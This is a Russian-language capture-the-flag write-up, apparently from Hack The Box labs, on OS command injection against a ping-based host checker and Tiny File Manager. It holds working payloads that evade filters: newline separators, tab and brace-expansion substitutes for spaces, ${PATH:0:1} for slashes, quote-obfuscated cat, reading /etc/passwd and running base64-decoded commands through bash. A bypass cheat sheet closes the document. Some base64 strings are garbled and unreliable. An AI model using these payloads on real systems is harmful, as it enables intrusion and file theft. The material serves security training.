

1. Labs: Command Injections

1.1 Lab 1: Host Checker (Basic)

1.1.1 Цель Найти флаг через базовую инъекцию.

1.1.2 Информация

- IP: 154.57.164.73
- Port: 31937
- Service: Host Checker (ping)

1.1.3 Обнаружение Пробуем ввести 127.0.0.1; whoami → получаем Invalid input (front-end валидация)

1.1.4 Обход Front-end валидации Используем Burp Suite для перехвата и изменения запроса.

Как обойти: Перехватить запрос в Burp и изменить параметр ip. Вкладка **Params** → найти ip → изменить значение.

1.1.5 Payload

```
ip=127.0.0.1%0awhoami
```

1.1.6 Результат

```
www-data
```

1.1.7 Флаг

```
HTB{...}
```

1.2 Lab 2: Host Checker (Filters)

1.2.1 Цель Обойти фильтры и найти пользователя в /home.

1.2.2 Информация

- IP: 154.57.164.66
- Port: 32643

1.2.3 Поиск не заблокированного оператора Проверяем:

- ; → Invalid input
- | → Invalid input
- & → Invalid input
- %0a (new-line) → **СРАБОТАЛ**

%0a — new-line, часто не блокируется фильтрами. Это основной оператор для обхода.

1.2.4 Обход пробела Пробуем %09 (tab) → работает

```
ip=127.0.0.1%0als%09-la
```

1.2.5 Обход слеша Используем $\{PATH:0:1\} \rightarrow /$

```
ip=127.0.0.1%0als${PATH:0:1}home
```

`${PATH:0:1}` дает /. Можно использовать `${PWD:0:1}` или `${HOME:0:1}`.

1.2.6 Чтение /etc/passwd

```
ip=127.0.0.1%0a{getent,passwd}
```

1.2.7 Найденный пользователь

1nj3c70r

1.2.8 Чтение flag.txt

```
ip=127.0.0.1%0a{c'a't,$${PATH:0:1}home$${PATH:0:1}lnj3c70r$${PATH:0:1}flag.txt}
```

Разбор payload:

- %0a — разделитель (new-line)
- {c'a't,...} — обфускация cat через кавычки
- \${PATH:0:1} — /
- home → /home
- lnj3c70r → пользователь
- flag.txt → файл

1.2.9 Флаг

HTB{b451c_f1l73r5_w0n7_570p_m3}

1.3 Lab 3: Host Checker (Advanced)

1.3.1 Цель Выполнить сложную команду с base64 кодированием.

1.3.2 Команда

```
find /usr/share/ | grep root | grep mysql | tail -n 1
```

1.3.3 Кодирование в Base64

```
echo -n 'find /usr/share/ | grep root | grep mysql | tail -n 1' | base64
ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgZCB0YWwlcICluIDE=
```

1.3.4 Payload

```
ip=127.0.0.1%0abash<<<$(base64%09-  
d<<<ZmluZCAvdXNyL3NoYXJlLlY8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWwlcICluIDE=)
```

Разбор:

- %0a — new-line разделитель
- bash<<< — передача команды в bash

- `$(...)` — подстановка команды
- `base64%09-d` — декодирование (tab вместо пробела)
- `<<<` — here-string (избегаем pipe |)

1.3.5 Результат

```
/usr/share/mysql/debian_create_root_user.sql
```

1.4 Skills Assessment: File Manager

1.4.1 Цель Найти содержимое `/flag.txt`.

1.4.2 Информация

- IP: 154.57.164.67
- Port: 32515
- Login: guest:guest
- Приложение: Tiny File Manager

1.4.3 Изучение приложения Входим как `guest:guest`. Видим файловый менеджер.

1.4.4 Поиск уязвимости Функция перемещения файлов — параметры `from` и `to` в GET запросе.

Вектор атаки: Параметр `from` при перемещении файлов. В GET запросе: `?from=file&to=tmp&move=1`

1.4.5 Payload

```
from=%0ac'a't%09${PATH:0:1}flag.txt%0a2561732172.txt
```

Разбор:

- `%0a` — new-line (разделитель)
- `c'a't` — обфускация `cat` через кавычки
- `%09` — tab вместо пробела
- `${PATH:0:1}` — /
- `flag.txt` — файл в корне
- `%0a` — еще один new-line
- `2561732172.txt` — оригинальное имя файла (чтобы не нарушить логику)

1.4.6 Полный запрос

```
GET /index.php?
to=tmp&from=%0ac%27a%27t%09%24%7BPATH:0:1%7Dflag.txt%0a2561732172.txt&finish=1&move=1 HTTP/1.1
```

Важно: В GET запросе нужно правильно URL-кодировать все символы!

- `%27` = '
- `%24` = \$
- `%7B` = {
- `%7D` = }

1.4.7 Результат в ответе

```
HTB{c0mm4nd3r_1nj3c70r}
```

1.4.8 Флаг

```
HTB{c0mm4nd3r_1nj3c70r}
```

1.5 Итоговые флаги

Лаб	Флаг
Lab 1: Basic	HTB{...}
Lab 2: Filters	HTB{b451c_f1l73r5_w0n7_570p_m3}
Lab 3: Advanced	/usr/share/mysql/debian_create_root_user.sql
Skills Assessment	HTB{c0mm4nd3r_1nj3c70r}

1.6 Команды для быстрого доступа

```
# Базовый тест
curl -X POST http://<IP>:<PORT> -d "ip=127.0.0.1; whoami"

# Обход клиентской валидации (Burp)
ip=127.0.0.1%0awhoami

# Обход пробела через tab
ip=127.0.0.1%0als%09-la

# Обход пробела через brace expansion
ip=127.0.0.1%0a{ls,-la}

# Обход слеша
ip=127.0.0.1%0als${PATH:0:1}home

# Обход cat через кавычки
ip=127.0.0.1%0ac'a't%09/flag.txt

# Чтение /etc/passwd
ip=127.0.0.1%0a{getent,passwd}

# Base64 команда
ip=127.0.0.1%0abash<<<$(base64%09-
d<<<ZmluZCAvdXNyL3NoYXJlLyB8IGdyZXAgcm9vdCB8IGdyZXAgbXlzcWwgfCB0YWlsIC1uIDE=)

# Полный обход для флага в /home
ip=127.0.0.1%0a{c'a't,${PATH:0:1}home${PATH:0:1}1nj3c70r${PATH:0:1}flag.txt}

# Skills Assessment (GET параметр)
from=%0ac%27a%27t%09%24%7BPATH:0:1%7Dflag.txt%0a2561732172.txt
```

1.7 Советы

1. **Всегда пробуйте %0a** – new-line часто не блокируется
2. **Burp** – лучший друг – перехватывайте и изменяйте запросы
3. **Используйте переменные** – \${PATH:0:1} для /
4. **Обфусцируйте команды** – c'a't,w'h'o'am'i
5. **Кодируйте сложные команды** – Base64 решает проблемы с пробелами и спецсимволами
6. **GET параметры смотрите в Params** – в Burp вкладка Params
7. **URL-кодирование** – всегда кодируйте специальные символы

Важно: Если что-то не работает – проверьте URL-кодирование! Очень часто проблема в том, что какой-то символ не закодирован правильно.